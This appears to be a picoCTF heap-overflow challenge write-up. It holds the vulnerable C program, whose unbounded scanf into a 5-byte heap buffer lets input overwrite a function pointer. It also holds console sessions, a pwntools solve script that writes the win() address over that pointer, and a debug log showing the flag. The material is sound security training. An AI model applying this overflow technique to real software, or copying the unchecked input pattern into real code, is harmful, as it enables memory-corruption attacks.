#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);

Enter your choice: 2
Data for buffer: hello

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value
+-------------+-----------+
[*]   0x8a5c720  ->   hello
+-------------+-----------+
[*]   0x8a5c740  ->   bico

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice:

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value
+-------------+-----------+
[*]   0x8a5c720  ->   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest
+-------------+-----------+
[*]   0x8a5c740  ->   test

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice:

void check_win() { ((void (*)())*(int*)x)(); }

#!/usr/bin/env python3

from pwn import *

HOST = "mimas.picoctf.net"
PORT = 64008

exe = ELF("./chall_patched")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'warn'

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r


def main():
    r = conn()
    junk = b'A' * 32
    payload = junk
    payload += p64(0x00000000004011a0)
    r.sendlineafter('choice:', b'2')
    r.sendlineafter('buffer:', payload)
    r.sendlineafter('choice:', b'4')
    output = r.recvline()
    print(output)
    output = r.recvline()
    print(output)
    output = r.recvline()
    print(output)
    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

[d3bo@archlinux heap2]$ python3 solve.py  DEBUG
[DEBUG] Received 0xa3 bytes:
    b'\n'
    b'I have a function, I sometimes like to call it, maybe you should change it\n'
    b'\n'
    b'1. Print Heap\n'
    b'2. Write to buffer\n'
    b'3. Print x\n'
    b'4. Print Flag\n'
    b'5. Exit\n'
    b'\n'
    b'Enter your choice: '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x11 bytes:
    b'Data for buffer: '
[DEBUG] Sent 0x29 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  a0 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000029
[DEBUG] Received 0x57 bytes:
    b'\n'
    b'1. Print Heap\n'
    b'2. Write to buffer\n'
    b'3. Print x\n'
    b'4. Print Flag\n'
    b'5. Exit\n'
    b'\n'
    b'Enter your choice: '
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Received 0x2a bytes:
    b'picoCTF{and_********_91218226}\n'
b' picoCTF{and_********_91218226}\n'